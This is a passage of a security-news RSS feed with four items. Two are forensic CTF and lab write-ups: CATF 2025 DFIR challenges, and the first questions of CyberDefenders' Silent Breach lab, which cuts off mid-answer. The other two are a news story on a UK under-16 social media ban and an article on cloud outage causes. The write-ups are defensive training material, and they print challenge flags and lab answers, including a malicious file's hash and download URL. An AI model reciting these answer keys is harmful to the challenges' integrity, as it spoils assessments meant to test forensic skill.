<content:encoded><![CDATA[<h3>CAT Reloaded CTF — CATF 2025–DFIR Challenges</h3><p>Happy to share with you my writeup for solving 4 DFIR challenges out of 5 (last chall has 0 solves💀) in CAT Reloaded CTF — CATF 2025.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NuBauFplUIXaFAO6NmKPw.jpeg"></figure><blockquote>You can read this writeup on my GitBook account <a href="https://prankster.gitbook.io/prankster/ctf-writeups/cat-reloaded-ctf-catf-2025-dfir-challenges">Link</a></blockquote><p>Challenge 1 “<strong>Index of Secrets</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*RcAipt4ar6kUWr7eeSjrlA.png"></figure><p>from the challenge description, we need to fetch windows search database which resides in the following path:<br><em>“C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb”<br>“</em><strong><em>Windows.edb</em></strong>” is a database file used by the Windows Search service to<br>store its index of your files, emails, and other content, allowing for faster searches.</p><p>we need to download “<strong>Win Search DB Analyzer</strong>” from this <a href="https://github.com/moaistory/WinSearchDBAnalyzer/releases/tag/1.0.0.6"><strong><em>link</em></strong></a> to be able to open “<strong>Windows.edb</strong>” file, locate windows.edb and open it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*yyH8qIWzypSz2w3MVBNQqA.png"></figure><p>a little walk around the files, we will find the “<strong><em>flag.txt.txt</em></strong><em>”</em> with absolute path = “<strong>C:\Users\wh1pl4sh\Desktop\flag.txt.txt</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*EdrrnZGuUZDi-xZ1gIWciA.png"><figcaption><strong>SOLVED!!!</strong></figcaption></figure><pre>CATF{ESE_DB_F0r3ns1cs}</pre><p>Challenge 2 “<strong>Loser</strong>”<strong>:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*2fFq4Ib7YIyYyAhzu_pgbQ.png"></figure><p>we need to investigate the disk, trying to find any interesting log file that can lead us to that game crack.</p><p>while walking around, found these 3 files in the following path : “<strong>C\Windows\AppCompat\pca</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*e05gYxt6h4KRCU6Ydrugiw.png"></figure><p><strong>Program Compatibility Assistant</strong> “<strong>Pca</strong>” (a Windows feature that monitors applications for issues like crashes, compatibility problems, or suspicious behavior).</p><p>PcaAppLaunchDic.txt specifically recording application paths and their last execution times.</p><p>PcaGeneralDb0.txt and PcaGeneralDb1.txt: These files store more general data related to the PCA's operation, with new files created as needed.</p><p>So, let’s dig deeper into them, trying to find something catchy.</p><p>After a lot of scrolling and scrolling here are my findings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZG3J0vPBd1iWY2UpLOSCuQ.png"><figcaption><strong>PcaAppLaunchDic.txt</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8gs1k4EyDHL-4k9wwCqlg.png"><figcaption><strong>PcaGeneralDb0.txt</strong></figcaption></figure><p>now we need to construct the correct flag from this flag example:</p><pre>Flag Example: CATF{X:\Users\blabla\blabla.exe_N_YYYY-MM-DD HH:MM:SS.sss}</pre><p>full path <strong>→</strong> “<strong><em>C:\Users\t0orf3n\AppData\Local\Temp\GreenHell.crack.exe</em></strong><em>”</em></p><p>run status <strong>→</strong> “<strong><em>3</em></strong><em>”</em> (<strong>PcaGeneralDb0.txt</strong>)</p><p>last time of execution <strong>→ </strong>“<strong><em>2025-07-12 13:34:17.726</em></strong>” (<strong>PcaAppLaunchDic.txt</strong>)</p><pre>CATF{C:\Users\t0orf3n\AppData\Local\Temp\GreenHell.crack.exe_3_2025-07-12 13:34:17.726}</pre><p>Challenge 3 “<strong>Dead Icons Speak</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*mzGN-fCfqF0odKRKtCrNsQ.png"></figure><p>from the description he said “a<strong><em>n icon rendered into the depths of a forgotten cache</em></strong>”</p><p>so we need to point directly to <strong>Windows icon/thumbnail cache</strong>.</p><p>so need to download thumbcache viewer via this <a href="https://thumbcacheviewer.github.io/"><strong><em>link</em></strong></a><strong><em> </em></strong>to open icons/thumbnails cached databases, which can be found in this path:<br>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Windows\Explorer\iconcache_xx.db</p><p>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Windows\Explorer\thumbcache_x.db</p><p>The description said “<strong>an icon rendered”</strong> , so focus on any “<strong><em>iconcache_xxx.db</em></strong>” files only!!<br>(because there’s a fake flag in a thumbcache file “<strong><em>thumbcache_256.db</em></strong>”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pFoVlQubMv7jBU97_qmEhg.png"><figcaption><strong>FAKE FLAG!!!</strong></figcaption></figure><p>that’s a fake flag, so let’s open all “<strong><em>iconcache_xxx.db</em></strong>” files to find the correct flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nGG0hBhYxsPKgq44oj8MFQ.png"><figcaption><strong>Found in “<em>iconcache_256.db</em>”</strong></figcaption></figure><p>Now we got the second part of the full flag.</p><p>Let’s open the hard drive content on FTK Imager, to get the malicious exe file that wasn’t logged , wasn’t scanned, and it didn’t survive.</p><p>the only log file i found is <strong>MPLog-20250704-153812.log </strong>file, which is the “<strong><em>Microsoft Protection Log used by Windows Defender for security event analysis.</em></strong>” here’s the full path of the log file:</p><p>C:\All Users\Microsoft\Windows Defender\Support\<strong>MPLog-20250704-153812.log</strong></p><p>in FTK Imager, search for any “<strong>.exe</strong>” file, and see if there’s anything catchy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hz_adSuKfvK23w5Ed1XVIA.png"></figure><p>we can view that there’s a file called “<strong><em>flagstealer.exe</em></strong>” on <strong><em>wh1pl4sh’s </em></strong>desktop.</p><p>Now we got the full flag correctly</p><pre>CATF{flagstealer.exe:thumbn41l_pwn}</pre><p>Challenge 4 “<strong>Erased Traces</strong>”:</p><h4>The easy yet the difficult Challenge</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*rp_BnNcjkX9SFR_Uohxglg.png"></figure><p>Solving this challenge almost drove me crazy. opening the hard image on FTK Imager, we can easily detect 4 deleted files that need to be recovered. (hard image was too small, so finding these deleted files wasn’t challenging)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*61Z7Y94ZTRT2riY12JrpXw.png"><figcaption><strong>open with FTK Imager</strong></figcaption></figure><p>Now we need to do file carving on the disk, to restore files correctly.</p><p>Here’s all tools i used that didn’t work properly to recover the deleted files correctly:</p><ol><li>photorec</li><li>scalpel</li><li>winfr (Windows File Recovery)</li><li>MyRecover</li><li>recuva</li><li>etc…</li></ol><p>i was so close to giving up.</p><p>i know that <strong>recuva </strong>is almost the best tool to recover deleted files (as i always use it personally). file was irrecoverable as you can see, and i tried to recover them, but i got 4 files full of null bytes🫠</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BhiTTk5mA3y8u2x0WRlzdQ.png"></figure><p><strong>NOTE</strong>: most tools need the image disk to be mounted to do file carving correctly, so we’ll use Arsenal Image Mounter to mount that image “download <a href="https://arsenalrecon.com/downloads"><strong>link</strong></a>”, just a few easy clicks to mount the image file.</p><p>before giving up, I tried to see if there is a powerful tool instead of “recuva”, or “recuva professional”, so i found this amazing reddit post that answered my question. “<a href="https://www.reddit.com/r/datarecovery/comments/11cm6bd/how_to_recover_unrecoverable_files_from_usb_drive/"><strong>link</strong></a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*ujEB5zGf97bUTt0JVlFTnw.png"><figcaption><strong>Disk Drill</strong></figcaption></figure><p>just download Disk Drill from this <a href="https://www.cleverfiles.com/data-recovery-software.html"><strong>link</strong></a>, we can attach the disk image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*lTi2DrShQxX-knEI_GWpeA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICwpYmrpEoA8OFuZGTleGw.png"></figure><p><strong>Search for lost data → Universal Scan,</strong> “after scan finished” → <strong>review found items</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KbFeYAis8wyYrJnqj9rICw.png"></figure><p>check yes on “<strong>hide duplicates</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*oQjlSqyensUGTm9Co7rDmw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FOxoHXjnrYPYZGAbOindg.png"></figure><p>check 4 deleted files and recover them (CAT1, CAT2, CAT3, CAT4)</p><p>hop on HxD “download <a href="https://mh-nexus.de/en/downloads.php?product=HxD20"><strong><em>link</em></strong></a>”, to check if file data still null or not🫠</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*N3yWdYF60d0d0Lxx64-sow.png"><figcaption><strong>CAT1</strong></figcaption></figure><p>FINALLY, PDF magic bytes found in CAT1!!</p><p>Now let’s view last hex values for CAT4 file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*Bqv9etdqjMUhYwgQVLuFDQ.png"><figcaption><strong>CAT4</strong></figcaption></figure><p>Now we can see that CAT1 has first magic bytes for a PDF file<br>and CAT4 has EOF marker for (End Of File), now we know that all 4 files are actually one PDF file, but divided into 4 files.</p><p>construct them easily using very simple piece of powershell code:</p><pre>Get-Content CAT1, CAT2, CAT3, CAT4 -Encoding Byte -ReadCount 0 | Set-Content combined.pdf -Encoding Byte</pre><p>now we can open the final PDF file to get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x2akwSBXTD_TisRBgfu6hw.png"></figure><pre>CATF{whip1@$h_iz_da_b3$t_m0v13_3va!}</pre><h4>Thanks For Reading, Hope u enjoyed ❤</h4><p>Keep in touch with me via:</p><p><a href="https://www.linkedin.com/in/loay-salah"><strong>LinkedIn</strong></a></p><p><strong>Discord</strong>: prankster99</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=ff403f100504" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cat-reloaded-ctf-catf-2025-dfir-challenges-ff403f100504">CAT Reloaded CTF — CATF 2025  — DFIR Challenges</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[UK Social Media Ban for Under-16s Could Take Effect by Spring 2027]]></title>
<description><![CDATA[The UK government has announced plans to introduce a UK social media ban for under-16s, preventing children from accessing major platforms such as TikTok, Instagram, Snapchat, Facebook, YouTube and X under a sweeping package of online safety reforms. The measures, expected to be brought before Pa...]]></description>
<link>https://tsecurity.de/de/3600798/it-security-nachrichten/uk-social-media-ban-for-under-16s-could-take-effect-by-spring-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600798/it-security-nachrichten/uk-social-media-ban-for-under-16s-could-take-effect-by-spring-2027/</guid>
<pubDate>Tue, 16 Jun 2026 08:12:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="UK social media ban" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban.webp 1536w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban.webp 1536w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/UK-social-media-ban-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="UK Social Media Ban for Under-16s Could Take Effect by Spring 2027 1"></p>The UK government has announced plans to introduce a <a href="https://thecyberexpress.com/uk-government-social-media-ban-for-children/" target="_blank" rel="noopener">UK social media ban for under-16s</a>, preventing children from accessing major platforms such as <a href="https://thecyberexpress.com/tiktok-addictive-design-breaches/" target="_blank" rel="noopener">TikTok</a>, <a href="https://thecyberexpress.com/instagram-teen-accounts-for-young-users/" target="_blank" rel="noopener">Instagram</a>, Snapchat, Facebook, <a href="https://thecyberexpress.com/compromised-youtube-accounts-infostealer-malware/" target="_blank" rel="noopener">YouTube</a> and <a href="https://thecyberexpress.com/e120m-digital-services-act-penalty/" target="_blank" rel="noopener">X</a> under a sweeping package of online safety reforms. The measures, expected to be brought before Parliament later this year and enforced from Spring 2027, would make Britain one of the toughest countries in the world when it comes to regulating children's access to social media.

The proposal is part of a wider government effort to strengthen <a href="https://thecyberexpress.com/ofcom-online-child-safety-rules/" target="_blank" rel="noopener">online child safety </a>and address growing concerns about the impact of social media algorithms, harmful content and excessive screen time on young users.

Prime Minister Keir Starmer described the move as a "line in the sand," arguing that technology companies have failed to do enough to protect children online.

"Parents want to keep their kids safe and happy, but the online world has made that harder than ever," Starmer <a href="https://www.gov.uk/government/news/social-media-to-be-banned-for-under-16s-in-landmark-government-move-to-givekids-their-childhood-back" target="_blank" rel="nofollow noopener">said</a>. "That's why we're going further than any country in the world by banning social media for under-16s and putting wider protections in place to give kids their childhood back."

<img class="aligncenter wp-image-112721 size-full" src="https://thecyberexpress.com/wp-content/uploads/UK-Social-Media-Ban-for-Under-16s-e1781589739408.webp" alt="UK Social Media Ban for Under-16s" width="600" height="400">
<h3><strong>UK Social Media Ban for Under-16s to Cover Major Platforms</strong></h3>
The proposed UK social media ban for under-16s will apply to user-to-user platforms that allow users to interact and share content through algorithm-driven feeds. Platforms expected to fall under the restrictions include TikTok, Instagram, <a href="https://thecyberexpress.com/dsa-child-protection-investigation/" target="_blank" rel="noopener">Snapchat</a>, <a href="https://thecyberexpress.com/web-stories/my-facebook-account-hacked-how-to-recover/" target="_blank" rel="noopener">Facebook</a>, YouTube and X.

Messaging services such as <a href="https://thecyberexpress.com/whatsapp-fixes-vulnerabilities-allowing-hackers-full-control-of-the-app/" target="_blank" rel="noopener">WhatsApp</a> and Signal are not expected to be included.

Alongside the ban, the government plans to introduce new restrictions on features considered particularly risky for young users. These include livestreaming functions and communication between children and strangers across a wider range of digital services, including some <a href="https://thecyberexpress.com/why-are-kids-becoming-hackers-cybercrime/" target="_blank" rel="noopener">gaming platforms</a>.

The government is also considering additional safeguards, including overnight access limits and measures designed to interrupt infinite scrolling for users under 18.
<h3><strong>AI Chatbots Also Under Scrutiny</strong></h3>
The reforms extend beyond social media platforms.

Under the proposed rules, AI-powered "romantic companion" <a href="https://thecyberexpress.com/ai-chatbots-recommending-illegal-casinos/" target="_blank" rel="noopener">chatbots</a> that simulate intimate or sexual relationships will be required to enforce a minimum age of 18. Similar intimate AI functions will also face restrictions for users under the age of 18.

Officials say the broader approach reflects how children increasingly encounter online <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="28711">risks</a> across multiple digital services rather than solely through social media platforms.
<h3><strong>Global Momentum Builds Behind Social Media Age Restrictions</strong></h3>
Britain's announcement comes amid growing international support for tighter <a href="https://thecyberexpress.com/uk-online-age-checks-are-failing/" target="_blank" rel="noopener">social media age restrictions</a>.

Earlier this year,<a href="https://thecyberexpress.com/spain-ban-social-media-platforms-kids/" target="_blank" rel="noopener"> Spain announced</a> plans to prohibit social media access for children under 16. Prime Minister Pedro Sanchez described the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-internet/" title="internet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28712">internet</a> as a "digital Wild West" and said stronger protections were needed to shield young people from online harm.

France has also <a href="https://thecyberexpress.com/social-media-ban-for-children-france/" target="_blank" rel="noopener">moved in a similar direction</a>. In February, French lawmakers approved legislation banning children under 15 from accessing social media platforms. The measure is expected to take effect at the start of the next school year.

French President Emmanuel Macron strongly backed the proposal, stating that children's development should not be dictated by algorithms designed to maximize engagement.

The developments have fueled debate over whether age-based restrictions could become a standard approach to child online protection across Europe and beyond.
<h3><strong>Australia's Experience Highlights Enforcement Challenges</strong></h3>
While support for restrictions is growing, Australia's experience shows that enforcement remains a major challenge.

The <a href="https://thecyberexpress.com/australia-ban-on-social-media-ban-for-kids/" target="_blank" rel="noopener">Australia social media ban</a>, introduced under Prime Minister Anthony Albanese, requires platforms to block users under 16 or face fines of up to AU$32 million.

However, recent research suggests <a href="https://thecyberexpress.com/australia-social-media-ban-faces-question/" target="_blank" rel="noopener">many children continue to access restricted platforms</a> despite the rules.

A study conducted by the Molly Rose Foundation and YouthInsight found that more than 60% of children aged 12 to 15 who previously used social media still had access to at least one account. The survey of 1,050 young people showed that 53% of former TikTok users, 53% of YouTube users and 52% of Instagram users remained active after the restrictions were introduced.

Researchers also found evidence that some children created new accounts after the ban came into effect, raising questions about the effectiveness of current age verification systems.
<h3><strong>Age Assurance Measures Key to Enforcement</strong></h3>
To improve compliance, the UK government plans to introduce stronger age assurance measures and has tasked <a href="https://thecyberexpress.com/ofcom-online-child-safety-rules/" target="_blank" rel="noopener">Ofcom</a> with conducting a rapid review of age-verification technologies.

The regulator will also review its enforcement capabilities, while ministers have pledged additional funding to support implementation of both the proposed regulations and existing provisions under the <a href="https://thecyberexpress.com/online-safety-act-age-verification/" target="_blank" rel="noopener">Online Safety Act</a>.

The <a class="wpil_keyword_link" href="https://cyble.com/announcement/" target="_blank" rel="noopener" title="announcement" data-wpil-keyword-link="linked" data-wpil-monitor-id="28710">announcement</a> follows a national consultation that attracted more than 116,000 responses from parents, children and experts. According to government figures, nine in ten parents support a ban on social media access for children under 16.

If approved, the reforms will mark one of the most significant changes to Britain's digital safety framework and could further accelerate a global shift toward stricter regulation of children's online experiences.]]></content:encoded>
</item>
<item>
<title><![CDATA[The causes of cloud outages are changing]]></title>
<description><![CDATA[For years, the cloud market has made a simple promise: Move workloads to large-scale platforms, gain better resilience, and worry less about downtime. That promise was never entirely wrong, but it is becoming less complete. The latest findings from Uptime Institute’s seventh Annual Outage Analysi...]]></description>
<link>https://tsecurity.de/de/3599872/ai-nachrichten/the-causes-of-cloud-outages-are-changing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599872/ai-nachrichten/the-causes-of-cloud-outages-are-changing/</guid>
<pubDate>Mon, 15 Jun 2026 19:33:57 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For years, the cloud market has made a simple promise: Move workloads to large-scale platforms, gain better resilience, and worry less about downtime. That promise was never entirely wrong, but it is becoming less complete. The latest findings from <a href="https://uptimeinstitute.com/resources/research-and-reports/annual-outage-analysis-2025">Uptime Institute’s seventh Annual Outage Analysis</a> suggest that the outage landscape is changing in ways that should concern both cloud providers and cloud customers. The biggest risks are no longer limited to broken physical infrastructure. They are increasingly tied to the complexity of the systems used to run, coordinate, update, and recover that infrastructure.</p>



<p>The most alarming number in the report is that IT and networking issues accounted for 23% of impactful outages in 2024. Uptime Institute links these increases to growing IT and network complexity; the long-term shift toward colocation, cloud, and third-party digital services; and the resulting increase in change-management failures and misconfigurations. That number is more than a statistical footnote. It points to a structural change in how outages happen and why cloud outages are becoming such a stubborn problem.</p>



<p>Hardware redundancy can protect against component failures, but it doesn’t help much when the outage stems from a bad configuration, an automation error, a faulty network change, or an underappreciated control-plane dependency. In those cases, the infrastructure itself may remain intact while the system that governs it breaks down. The industry is learning that <a href="https://www.networkworld.com/article/967679/what-is-disaster-recovery-how-to-ensure-business-continuity.html">resiliency</a> is less about duplicating equipment and more about managing complexity. Today’s increasingly distributed and software-defined environments cannot operate safely at scale.</p>



<h2 class="wp-block-heading">Failures at the operational level</h2>



<p>Uptime’s findings show that power remains the leading cause of major outages, underscoring that traditional infrastructure engineering still matters a great deal. But even as providers continue to improve physical resilience, outages can still arise from the digital and procedural layers above it. Cloud platforms are now dense stacks of services, <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a>, orchestration systems, software-defined networks, <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity controls</a>, failover logic, and third-party dependencies. That complexity creates more possible points of interaction and more opportunities for an error in one layer to cascade into several others.</p>



<p>This helps explain why outages can feel more surprising today than they did a decade ago. In older data center models, an outage often had a more apparent root cause, such as a power event, a cooling failure, or a hardware fault. In cloud environments, the trigger may be a small configuration change that propagates across regions, a policy update that unintentionally blocks service communication, or a network control failure that affects seemingly unrelated services. These are not failures of raw infrastructure capacity. They are failures of complexity management.</p>



<p>The report’s language around change management and misconfiguration is especially important because it challenges one of the most common assumptions in the cloud market: that scale automatically produces better operational outcomes. The reality? Scale can magnify both strengths and weaknesses. Large cloud providers have more engineering talent, more sophisticated tools, and more redundancy than almost any enterprise customer. But they also run far more interconnected systems at far greater speeds with far more automation. A single process failure can have a wider blast radius.</p>



<p>Another important lesson from the Uptime analysis is that automation has not removed the human factor. If anything, it has changed its form. Even in highly automated environments, human error remains central to the problem. The report notes that in 2025, the share of outages caused by human failure to follow procedures rose by 10 percentage points compared with 2024. A related industry summary of the report notes that 58% of human error-related outages were caused by staff failing to follow established procedures.</p>



<p>That matters because cloud providers often position automation as the answer to reliability. Automation is essential, but it only works as well as the operational model that surrounds it. If teams deploy changes too quickly, rollback paths are weak, approval chains are bypassed, or procedures are incomplete, automation can accelerate failure rather than prevent it. In a modern cloud environment, a human mistake is rarely just a single keystroke. It is more often a design weakness in process, governance, testing, or accountability.</p>



<p>This is also why customers should resist the comforting notion that outages are somebody else’s problem once workloads move to the cloud. Provider-side mistakes remain real, but customer architectures are increasingly entangled with provider networking, identity, observability, and platform services. When an outage occurs, the customer may not have caused it, but they still bear the business impact. The shared responsibility model does not end with security. It extends to resilience planning as well.</p>



<h2 class="wp-block-heading">Better change management</h2>



<p>The Uptime data points to a clear conclusion: Cloud providers need to treat operational discipline as a first-class design requirement. That starts with better change management. High-risk changes should be tested more aggressively, staged more gradually, and accompanied by stronger rollback mechanisms. Providers also need better dependency mapping to understand how a change in one control layer can affect services far beyond its immediate scope. If the system is too complex to clearly explain, it is too complex to operate.</p>



<p>Providers also need to improve procedural quality. The rise in outages caused by failing to follow procedures suggests that procedures are being ignored under operational pressure or that they are too cumbersome, outdated, or unclear for real production conditions. Neither explanation is comforting. Stronger runbooks, better training, more realistic failure drills, and tighter operational guardrails are not glamorous investments; they are increasingly central to resilience.</p>



<p>Another pressure point is visibility. Uptime notes that software-based and distributed resiliency tools can improve availability, but they also introduce new risks and complicate root-cause analysis. Cloud providers need more transparent and faster incident diagnosis, not just more layers of abstraction. Customers cannot build trust in resilience if every major incident becomes a long exercise in reconstructing opaque service dependencies after the fact.</p>



<h2 class="wp-block-heading">Design with outages in mind</h2>



<p>What’s the financial impact of more frequent problems? Uptime’s 2024 analysis found that 54% of respondents reported that their most recent significant outage cost more than $100,000, and 20% said it cost more than $1 million. These are not edge-case losses. They show that outages remain costly even if they are less frequent than in earlier years.</p>



<p>Customers need to stop evaluating cloud resilience through uptime promises and start evaluating it through failure behavior. How does a provider isolate faults? How transparent is incident communication? How portable are workloads if a major service degrades? How dependent is the architecture on a single region, network path, identity service, or control plane? These are not just technical questions; they are now critical business questions.</p>



<p>The core lesson from Uptime’s data is simple. Outages are becoming a bigger problem for cloud providers and customers because the cloud’s biggest vulnerabilities are increasingly tied to complexity, process failures, and control-plane mistakes, not just broken infrastructure. In addition to adding redundancy, the next phase of cloud improvement will focus on building systems that are easier to understand, safer to change, and more disciplined to operate.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silent Breach Lab Writeup (CyberDefenders)]]></title>
<description><![CDATA[Silent Breach | Blue team challenge.You can read this writeup on my GitBook account LinkScenarioThe IMF is hit by a cyber attack compromising sensitive data. Luther sends Ethan to retrieve crucial information from a compromised server. Despite warnings, Ethan downloads the intel, which later beco...]]></description>
<link>https://tsecurity.de/de/3599551/hacking/silent-breach-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599551/hacking/silent-breach-lab-writeup-cyberdefenders/</guid>
<pubDate>Mon, 15 Jun 2026 17:26:05 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*hqKsFQU544ooAYtK3BPoBA.jpeg"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/silent-breach/">Silent Breach | Blue team challenge.</a></p><blockquote>You can read this writeup on my GitBook account <a href="https://prankster.gitbook.io/prankster/cyberdefenders/endpoint-forensics/silent-breach">Link</a></blockquote><h4>Scenario</h4><p>The IMF is hit by a cyber attack compromising sensitive data. Luther sends Ethan to retrieve crucial information from a compromised server. Despite warnings, Ethan downloads the intel, which later becomes unreadable. To recover it, he creates a forensic image and asks Benji for help in decoding the files.</p><p>Resources:</p><ul><li><a href="https://boncaldoforensics.wordpress.com/2018/12/09/microsoft-hxstore-hxd-email-research/">Windows Mail Artifacts: Microsoft HxStore.hxd</a> (email) Research</li></ul><blockquote><strong><em>Q1: What is the MD5 hash of the potentially malicious EXE file the user downloaded?</em></strong></blockquote><p>After opening the downloaded artifacts file with FTK Imager, we are for an executable “<strong>.exe” </strong>file that seems malicious.</p><p>We can see a malicious file in “<strong>/Downloads</strong>” called “<strong>IMF-Info.pdf.exe</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*GNVcqdgKDviF4M4FFB2s4Q.png"><figcaption><strong>.pdf.exe !!!!!!</strong></figcaption></figure><p>Of course it's not a normal file, so we can get it’s hash using the following option:</p><p>we are downloading the file hash list of all files inside the “<strong>/Downloads</strong>” directory, rather than download the malicious file itself and get its hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*qOCZcYSYvkK8ozcexux_eg.png"></figure><p>open the saved .csv file, and get the MD5 hash for “<strong>IMF-Info.pdf.exe</strong>” file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzg-VpaSGQAcwN3KvKwXQ.png"></figure><blockquote><strong>Answer1 → </strong><em>336A7CF476EBC7548C93507339196ABB</em></blockquote><blockquote><strong><em>Q2: What is the URL from which the file was downloaded?</em></strong></blockquote><p>If you click on “<strong>Downloads</strong>” directory, you can view the “<strong>Zone.Identifier</strong>” file for specific files inside the directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/244/1*75NLq3e5rw13vBGfRW0emw.png"></figure><p>Opening the “<strong>Zone.Identifier</strong>” file for “<strong>IMF-Info.pdf.exe</strong>” to get the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*Ko2DgqwAclmZmFknbgeoVQ.png"></figure><blockquote><strong>Answer2 → </strong><em>http://192.168.16.128:8000/IMF-Info.pdf.exe</em></blockquote><p><strong>Q3: What application did the user use to download this file?</strong></p><p>Viewing the file system hierarchy, we can see the device have these 2 most famous browser applications:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*g2ynLBsF-OEsxLRJxcSEjQ.png"><figcaption><strong>Chrome &amp; Edge</strong></figcaption></figure><p>So, focusing on the history database for each history file of them:</p><blockquote><strong><em>Google Chrome History file location:</em></strong></blockquote><blockquote><em>C:\Users\&lt;username&gt;\AppData\Local\Google\Chrome\User Data\Default\History</em></blockquote><blockquote><strong><em>Microsoft Edge History file location:</em></strong></blockquote><blockquote>C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Edge\User Data\Default\History</blockquote><p>After analyzing each file, we can see that the user accessed this url</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*e9CIm23okItCnXy-JZ1muw.png"><figcaption><strong>url </strong>table from <strong>History </strong>database</figcaption></figure><p>Also the Malicious file was found in download table from History database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSXCeWyYkErERZ1gqsgQGA.png"><figcaption><strong>download </strong>table from <strong>History </strong>database</figcaption></figure><blockquote><strong>Answer3 → </strong><em>Microsoft Edge</em></blockquote><p><strong>Q4: By examining Windows Mail artifacts, we found an email address mentioning three IP addresses of servers that are at risk or compromised. What are the IP addresses?</strong></p><p>This question is very tricky, in fact its not about getting the email databses or emails from “<strong>/comm</strong>”. It’s about reading the Scenario again, and try to understand what was in the scenario resources:</p><p><em>Resources:</em></p><ul><li><a href="https://boncaldoforensics.wordpress.com/2018/12/09/microsoft-hxstore-hxd-email-research/"><em>Windows Mail Artifacts: Microsoft HxStore.hxd</em></a><em> (email) Research</em></li></ul><p>After reading this article, now we 